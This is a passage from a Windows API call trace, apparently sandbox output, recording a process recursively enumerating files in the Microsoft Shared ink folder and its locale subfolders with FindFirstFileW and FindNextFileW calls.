ftCreationTime.dwLowDateTime=0x261ab200, ftCreationTime.dwHighDateTime=0x1d0cb6a, ftLastAccessTime.dwLowDateTime=0xd8f9d200, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x261ab200, ftLastWriteTime.dwHighDateTime=0x1d0cb6a, nFileSizeHigh=0x0, nFileSizeLow=0x13aed8, dwReserved0=0x0, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0052.971] GetLastError () returned 0x12 [0052.971] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x261ab200, ftCreationTime.dwHighDateTime=0x1d0cb6a, ftLastAccessTime.dwLowDateTime=0xd8fc3360, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x261ab200, ftLastWriteTime.dwHighDateTime=0x1d0cb6a, nFileSizeHigh=0x0, nFileSizeLow=0x187ed8, dwReserved0=0x0, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0052.971] GetLastError () returned 0x12 [0052.971] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x261ab200, ftCreationTime.dwHighDateTime=0x1d0cb6a, ftLastAccessTime.dwLowDateTime=0xd9270c20, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x261ab200, ftLastWriteTime.dwHighDateTime=0x1d0cb6a, nFileSizeHigh=0x0, nFileSizeLow=0x5d12c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0052.971] GetLastError () returned 0x12 [0052.971] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x261ab200, ftCreationTime.dwHighDateTime=0x1d0cb6a, ftLastAccessTime.dwLowDateTime=0xd9270c20, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x261ab200, ftLastWriteTime.dwHighDateTime=0x1d0cb6a, nFileSizeHigh=0x0, nFileSizeLow=0x5d12c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0052.972] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0052.972] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0052.972] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0052.972] GetLastError () returned 0x12 [0052.972] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0052.972] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.972] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0052.972] GetLastError () returned 0x12 [0052.972] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0052.972] GetLastError () returned 0x12 [0052.973] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0054.091] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.091] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.091] GetLastError () returned 0x12 [0054.091] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.091] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0054.091] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0054.091] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0054.091] GetLastError () returned 0x12 [0054.092] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0054.092] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.092] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.092] GetLastError () returned 0x12 [0054.092] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.092] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0054.092] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0054.092] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0054.092] GetLastError () returned 0x12 [0054.092] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0054.092] GetLastError () returned 0x12 [0054.092] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0054.092] GetLastError () returned 0x12 [0054.092] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0054.093] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.093] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.093] GetLastError () returned 0x12 [0054.093] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.093] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0054.093] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0054.093] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0054.093] GetLastError () returned 0x12 [0054.093] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0054.093] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.093] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.093] GetLastError () returned 0x12 [0054.093] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.093] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0054.093] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0054.094] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0054.094] GetLastError () returned 0x12 [0054.094] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0054.094] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.094] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.094] GetLastError () returned 0x12 [0054.094] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.094] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0054.094] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0054.094] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0054.094] GetLastError () returned 0x12 [0054.094] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0054.094] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.094] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.094] GetLastError () returned 0x12 [0054.095] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.095] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0054.095] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0054.095] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0054.095] GetLastError () returned 0x12 [0054.095] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, 